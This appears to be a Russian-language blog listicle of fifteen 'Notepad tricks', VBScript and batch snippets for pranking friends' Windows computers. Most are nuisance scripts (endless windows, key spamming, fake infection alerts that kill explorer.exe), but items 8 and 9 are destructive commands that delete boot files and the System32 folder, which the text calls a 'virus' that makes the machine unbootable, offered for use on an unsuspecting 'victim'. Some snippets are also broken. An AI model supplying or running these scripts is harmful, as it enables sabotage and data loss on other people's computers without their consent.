Итак, вот 15 классных трюков блокнота, которые вы должны попробовать:
1.Балуемся с дисководом
Очень интересно наблюдать за другом когда его компьютер самопроизвольно открывает и закрывает дисковод,так давайте сделаем это.Вводим текст ниже в блокнот и сохраняем его в виде файла с разширением .vbs
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
2. Завершение работы компьютера с помощью блокнота
Выключаем компьютер через блоктнотик
off
msg * System will now shut down
shutdown -c “Bye!” -s
3. Постоянно открывайте Блокнот на компьютере вашего друга
Ещё один трюк,который позволит поиграться с системой,суть в том что вы запускаете команду которая будет открывать блокнотики
off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
4. Матричный эффект
Создаём классную рандомную матрицу в блокноте
off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start
Теперь вам нужно сохранить этот файл с расширением .bat, и после нажатия на файл .bat, который вы создали, вы увидите нечто подобное.
Также вы можете изменить цвет текст изменив значение после color вместо 02
5. Несколько раз переключите Capslock, используя Блокнот
Можем забавляться используя скрипт который постоянно переключает Caps Lock!
Ко
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Сохраняем в расширение .vbs и лицезреем магию
6. печатать медленно
Скрипт ниже заставит текст печаться медленно,всё что нужно это скопировать текст снизу в блокнот и запустить файл с расширением .vbs
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "wa"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "mg"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
7. Преобразование текста в речь с помощью блокнота.
Научим компьютер разговаривать
Прописывает команду снизу в блокнот,сохраняем в .vbs
Dim message, sapi
message=InputBox("What do you want me to say?", "Speak to Me")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak message
message=InputBox("What do you want me to say?", "Speak to Me")
Изменяя значения в скобках в кавычках,вы можете поменять то что вам скажет компьютер)
8. Удаление загрузочных файлов с помощью блокнота
Навсегда уроним компьютер удалив загрузочные файлы командой ниже:
OFF
ATTRIB -R -S -HC:\AUTOEXEC.BAT
DEL C:\AUTOEXEC.BAT
ATTRIB -R -S -HC:\BOOT.INI
DEL C:\BOOT.INI
ATTRIB -R -S -HC:\NTLDR
DEL C:\NTLDR
ATTRIB -R -S -HC:\WINDOWS\WIN.INI
DEL C:\WINDOWS\WIN.INI
SAVE IT AS .BAT FILE.
9. Удаление файлов System32 с помощью блокнота
Самый простенький "вирус" который удаляет папку System32 в следствии чего компьютер не запускает и требуется переустановка Windows
Просто вставьте следующее в блокнот и сохраните его как файл .bat.
DEL C:\WINDOWS\SYSTEM32\*.*/Q
10. Хит Enter непрерывно
Данным скриптом мы имитируем залипание клавиши Enter
Будет весело)
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Сохраните его как файл .vbs и наблюдаем за жертвой)))
11. Набирать что-то снова и снова
Скрипт ниже постоянно набирает одно и тоже сообщение
Его можно изменить в строчке wshshell.sendkeys
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "I'll be typed again and again"
loop
сохраните его как файл .vbs, чтобы он работал.
12. Краш компьютера
Тролим друга надписями что в системе неполадки и его компьютер заражён и требуется перезапуск,а после открывается большое кол-во окон( командных строк, калькуляторы, блокноты и многое другое )
Скрипт:
on error resume next
set t=createobject("Wscript.Shell")
set kill = createobject("wscript.shell")
kill.run"taskkill /f /im explorer.exe",0
msgbox"Неполадка системы",16,"Error"
msgbox"Вы заражены вирусом",48,"Windows"
msgbox"Необходим перезапуск системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"explorer"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"help"
msgbox"Сбой системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"explorer"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"help"
msgbox"Сбой системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"explorer"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"help"
msgbox"Сбой системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
13. Бесконечно пищащий системный динамик
Заставляешь пищать системный динамик
Это точно выведет человека из себя)
Скрипт:
Set S = CreateObject("Wscript.Shell")
do
execute"S.Run ""%comspec% /c "" & Chr(7), 0,True"
loop
14. Бесконечно жужжащий разъем для дискет
Имитирует, что в приводе для дискет находится дискета. Заставляет его жужжать.
Set WSHShell=WScript.CreateObject("WScript.Shell")
Sub Zapadlo(Fuck,Wait)
Set WshShell=WScript.CreateObject("WScript.Shell")
C=WshShell.Run(Fuck,Wait)
End Sub
do
Call Zapadlo("A:\",true)
loop
Надеюсь вы примените эти уловки на своих друзьях и вам будет весело)
